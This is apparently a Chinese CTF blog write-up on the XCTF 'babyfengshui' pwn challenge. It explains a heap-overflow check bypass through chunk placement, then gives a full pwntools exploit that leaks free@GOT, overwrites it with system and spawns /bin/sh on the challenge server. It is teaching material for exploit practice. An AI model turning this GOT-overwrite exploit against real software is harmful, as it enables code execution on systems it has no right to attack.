menu 牢记自己是菜
RE.从零开始的pwn生活 第七日 XCTF---babyfengshui学习与复现 基础的堆利用
1078 浏览 | 2020-09-17 | 阅读时间: 约 4 分钟 | 分类: PWn | 标签:
请注意,本文编写于 1317 天前,最后修改于 1317 天前,其中某些信息可能已经过时。

0x1 前言

备战校赛,巩固heap的知识。题目没有使用高端的堆漏洞,只是考察了堆分配时的规则,算是一道比较基础的堆溢出题目。


0x2 题目分析

首先打开文件运行一下,一道典型的菜单题目,我们可以输入,删除,修改,和展示。拖入IDA,分析一下,整道题目的具体逻辑。首先进入到各个操作中看看操作的具体流程。

  • 添加操作:首先询问一个大小,然后以这个大小申请了堆A。之后又立即申请了大小为0x80的堆B,在其中最开始的字节上放上了堆A的起始地址。之后会让你输入text的大小(会有堆溢出的检测),然后输内容,操作结束。具体流程如下:
    首先申请0x20(输入大小0x20)的堆块:


紧接着会申请一个0x80的堆:

  • 删除:输入一个数字,代表堆在构建中的位置,直接删除(没有给UAF的机会)。其实仔细观察IDA,就会发现,在动态申请的堆块上方存在一个内存空间,很像是一个指针数组,他会指向0x80堆块的起始位置。位置在0x0804B080,我们之后会打印出来分析的。
  • 展示:顾名思义,输入堆号,如果堆存在,我们就打印姓名与text的内容。
  • 修改,提供修改text内容的功能。

好的,分析完各各模块基本功能后,我们开始具体的观察一下堆内的变化,找一找我们可以利用的地方。
首先是两个heap的地址:

x/32gx 0x804b080 //pre  heap指针数组
x/32gx 0x804c000 //open heap动态配的heap

我们首先创建一个text具体参数如下:

1.size :0x40---64
  name :AAAA
  text length:0x20---32
  text :BBBB

heap:0x804c008
?? if:  text length+heap >= pre-4
        0x20+0x804c008 >= 0x804c050-0x4

此时堆内的情况就十分的清楚了:

我们发现name其实是不占用我们申请的text空间的,他是被存放在0x80的堆中的。而再当堆成功创建后,base也记录了这个堆开始的地方。相关数据结构如下:(注意,第一个堆的编号为0)

有点抽象,可以自己GDB试一下。而整个程序判断溢出的方式也很简单:
起始地址1+input(text size)< 起始地址2-4
如果不满足,直接报错,结束程序。
这里我们继续在创建一个堆,验证一下我们的理解是否正确:

2.size:0x20-->32
  name:c1234
  text length:0x10
  text:5678

heap:0x0804c0d8


完全正确,这时我试试free的功能,我们释放掉了0号块。在观察内存空间,按照堆的分配原理,他将0x20与0x80释放并且合成了一个大小为0xA0的空闲堆块。咦?那我们是不是可以通过再次申请大小正好可以放下0xA0的一个堆,此时0x80就没有了空间,他只能像TOP再次申请一段空间,此时两个块就会被分开。这时我们再看,溢出判断:text length+heap >= pre(会指向块的最末端)-4,我们就完成了堆的溢出。来一张图理解一下:

0x3 漏洞测试

既然有了想法,按我们就开始动手试一试,看看我们能不能完成这个溢出。

  1. 申请两个块,第二个块的目的就是起到一个阻挡的目的。
  2. 释放0号块,这里解释一下这张图片,我写错了,又不想改,我们释放掉了0号块,但是图里的那个时1号块,所以还在。可能有小伙伴问为啥不重新截一张呢?emmmmm,对不起,我太懒了。
  3. 重新申请一个块,text size==0x80 + first text size

思路:

1.size 0x20
  name 
  text length
  text 

heap:
size:0x20+0x80

2.size 0x20
  name 
  text length
  text 

heap:
size:0x20+0x80

heap now:
      1  text heap size:0x20
    1  heap ptr size:0x80
      2  text heap size:0x20
    2  heap ptr size:0x80
      TOP

3.free 1heap

4.size:0xA0 
  name 
  text length
  text 
heap:
size:0xA0+0x80

heap now:
    1 text heap size:0xA0
    2  text heap size:0x20
    2  heap ptr size:0x80
        1  heap ptr size:0x80
        TOP

仔细看,这时被heap就被分开了。ps:这张图与上两张图并不匹配,因为,我遇到了一个小问题。
小问题:
第一次我构造的时0x20+0x80=0xA0,虽然构造的时候使用的时0xA0,但是并没有成功。

emmm,可能是我有问题,但是我确实没找到合适的原因。

0x4 构建exp思路

既然我们已经发现了漏洞,现在就差exp了。
emmmm,呀程序没有后门,那我们必须要借助got表的知识了,我们需要泄露出一个函数的地址,然后通过这个函数泄露system的地址,最终完成调用。看看,嗯free函数就比较合适,首先我们要知道,got表必须要被执行过一次才可以被加载为libc中的地址,而我们在溢出过程中是需要调用free函数的。
我们泄露地址其实就是got表里面的地址,然后我们可以直接对got表进行修改,将free的地址换为system的地址,这是我们就完成了偷梁换柱。这时我们只需要构建一个text="/bin/sh"就可以了,然后调用free,完成!相当于调用了system(text),text=/bin/sh

0x5 exp

自己写exp还是不太行,参考了一下,最后写成这个样子了:

#coding:utf8  
from pwn import *  
from LibcSearcher import *  
      
#sh = process('./babyfengshui1')  
sh = remote('220.249.52.133',30315)  
elf = ELF('./babyfengshui')  
#libc = elf.libc  
      
def create(size,name,textLen,content):  
    sh.sendlineafter('Action:','0')  
    sh.sendlineafter('size of description:',str(size))  
    sh.sendlineafter('name:',name)  
    sh.sendlineafter('text length:',str(textLen))  
    sh.sendafter('text:',content)  
      
def delete(index):  
    sh.sendlineafter('Action:','1')  
    sh.sendlineafter('index:',str(index))  
      
      
def show(index):  
    sh.sendlineafter('Action:','2')  
    sh.sendlineafter('index:',str(index))  
      
      
def edit(index,textLen,content):  
    sh.sendlineafter('Action:','3')  
    sh.sendlineafter('index:',str(index))  
    sh.sendlineafter('text length:',str(textLen))  
    sh.sendafter('text:',content)  
create(0x80,'heap0',0x80,'a'*0x80)  
create(0x80,'heap1',0x80,'b'*0x80)  
#存放/bin/sh字符串  
create(0x10,'heap2',0x7,'/bin/sh')   
delete(0)    
create(0x100,'heap3',0x19C,'c'*0x198 + p32(elf.got['free']))   
show(1)     
sh.recvuntil('description: ')  
free_addr = u32(sh.recv(4))  
libc = LibcSearcher('free',free_addr)  
libc_base = free_addr - libc.dump('free')  
system_addr = libc_base + libc.dump('system')       
#修改free的got表地址为system的地址  
edit(1,4,p32(system_addr))  
#getshell,相当于system(heap[2])  
delete(2)  
sh.interactive()  

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!